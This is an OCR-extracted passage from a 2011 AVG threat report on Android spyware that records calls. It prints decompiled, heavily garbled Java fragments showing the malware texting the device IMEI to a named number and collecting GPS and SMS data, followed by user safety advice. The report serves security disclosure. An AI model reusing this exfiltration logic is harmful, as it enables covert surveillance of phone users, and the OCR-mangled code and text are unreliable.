a [ callrecord 2011-08-04 10:55  d---rwar-x
20110804101315001 .armr 64855 2011-08-04 1013 ----raarr-x
20110804104810001 . armr 42271 2011-08-04 10:48  ----rwr-x
20110804105509001 .amr 51511 2011-08-04 10:55  ----rwar-x
[ system 2010-05-0& 16:16  drwsr-xr-x

Figure 35 - SDCard Directories

C:sUsereslzer>adh -2 emulator-5554
f 1=
1s

init.goldfizh.»rc
init
default.prop
data

root Recorded

conversation

= hangzhou
i cd Enangzhou
cd shangzhou

callrecord
B TUCAIIFEcord

The conversation file is saved in the ‘amr’ format. The Adaptive Multi-Rate (AMR or AMR-NB) audio codec is a patented audio data compression scheme
optimized for speech coding.

The file can be played using any media player that supports the format:

2 20110804105509001.ame - VLC media player | (5}

Media Playback Audio  Video Tools View Help

M ]
IR | [oo) m)fome] 55 [i=i0t] (o326 =l
20110804105500001 . arnr 1.00x | 00:12/00:31
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The malware sends SMS with the IMEI of the infected device to Chinese number ‘15859268161‘. This phone number belongs to a subscriber
in Fujian province, China. We tried to call this number but it's unreachable because it has run out of money.

privace class _clal
implemants Funnable
[

publi= woid pan()
1
Thread.saleap i’ |

SmeHanAgEr STARATAQEL;

Sering al;

amsmanager = SmaManager.getDefault ()

SeringBullder stringbulldes = now StringBulldex(™IMEL:7);
Sering 5 = imaipr

2l = stringbuilder.append(sa) .toStrcing () ;

smemanager. sendTexrMassage(“ 155550651607, null, =1, mull, Aull);

The malware checks if the send was successful

3]l = "Send Succes=zs";

31 = "Send Faile";

socketservice.result = s1;

}

if(result =— null || !'result.equals("Send Success")) gote LZ; else goto Ll

The malware also records other information such as GPS location and SMSs (received and sent), for example SMS handling:

public byte[] getSM3Text()

1
return this.35MS5Text;

public byte getSMSType()
1
return this.SMSType;

Or GPS location and information:

class GpsServicesl
implements Locacionliscener
{
public void onlocationChanged (Location paramlocation)
{
GpaService localGpaService = this.thiago;
long 11 = System,currentTimeMillis();
lncalGpaService.nowtime | 11;
long 12 = this.this&l.nowtime;
long 13 = this.thiasl.lascime;
if (12 - 13 >= &0000L)
GpaService.access§i(this.thissld, paramiocacion);
}

public woid onProviderDisabled(String paramString)
i

GpaService localGpeService = this.thissd;

long 11 = System.currentTimeMiilas();

localGpaService.nowtime = 11;

long 12 = this.thiss0.nowtime;

long 13 = this.thiss0.lastime;

ir (12 - 13 >= &0000L)

GpaService.access§il{this.thissd, null);

31



oF AVG

Recommendations
There are some steps that can be used to mitigate the threats that these application stores pose to the Android platform users.

Some of the steps we recommend users to take to decrease the risks include:

¢ Don’t download applications from untrusted or pirated sources. Only download applications from reputable app stores and download sites

e Don't assume that just because an app can be downloaded from the official Android Market it must be safe, research the developer of the
application, read reviews before downloading an application

e Always check the permissions requested by the downloaded application

e Don't let others, including family members (kids in particular) play with your phone and in particularly not install apps

e After clicking on a web link, pay close attention to the address to make sure it matches the website it originally claimed to be

e Don’t conduct online banking activities via unofficial applications

e Be aware and alert for unusual behavior on your device. This behavior could be a sign that the phone is infected
This behavior may include SMS messages being automatically sent to unknown recipients, unusual text messages, suddenly decreased battery life,
unknown applications being installed without your knowledge, phone calls automatically being placed without you initiating them and strange
charges to the phone bill

e Check your phone bills! Some malware signs you up for premium text message subscription services without your knowledge

e AVG provides ‘AVG Mobilation™’, free software for Android to protect users from such threats, download our mobile security application to your
Android device and stay safe
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Other reports from AVG Technologies

AVG and Ponemon Institute: ‘Smartphone Security - Survey of U.S. consumers’ — March 2011
http://aa-download.avg.com/filedir/other/Smartphone.pdf

Anatomy of a major Blackhole attack — March 2011
http://www.avg.com/filedir/other/blackhole.pdf

AVG Community Powered Threat Report Q1 2011 - April 2011
http://www.avg.com/ww-en/press-releases-news.ndi-129

AVG Community Powered Threat Report Q2 2011 —June 2011
http://www.avg.com/ww-en/press-releases-news.ndi-1563

AVG and Future Laboratories: 'Cybercrime Futures’ — September 2011
http://www.avg.com/ww-en/press-releases-news.ndi-1953

AVG and GfK: ‘AVG SMB Market Landscape Report 2011’ — September 2011
http://download.avg.com/filedir/news/AVG SMB Market Landscape Report 2011.pdf

About AVG Technologies

AVG Technologies is a global leader in security software, protecting more than 98 million consumers and small business computer users in 170 countries.
Headquartered in Amsterdam, AVG is the fourth largest vendor of anti-virus software and employs close to 600 people worldwide with corporate offices in
the US, the UK, the Netherlands, the Czech Republic, and Germany.

AVG has nearly two decades of experience in combating cyber crime and operates one of the world’s most advanced laboratories for detecting, pre-
empting and combating web-borne threats from around the globe for both businesses and home customers.

The company boasts one of the most extensive self-help communities on the Internet, having established its technology credentials early on amongst
technically savvy consumers.

www.avg.com
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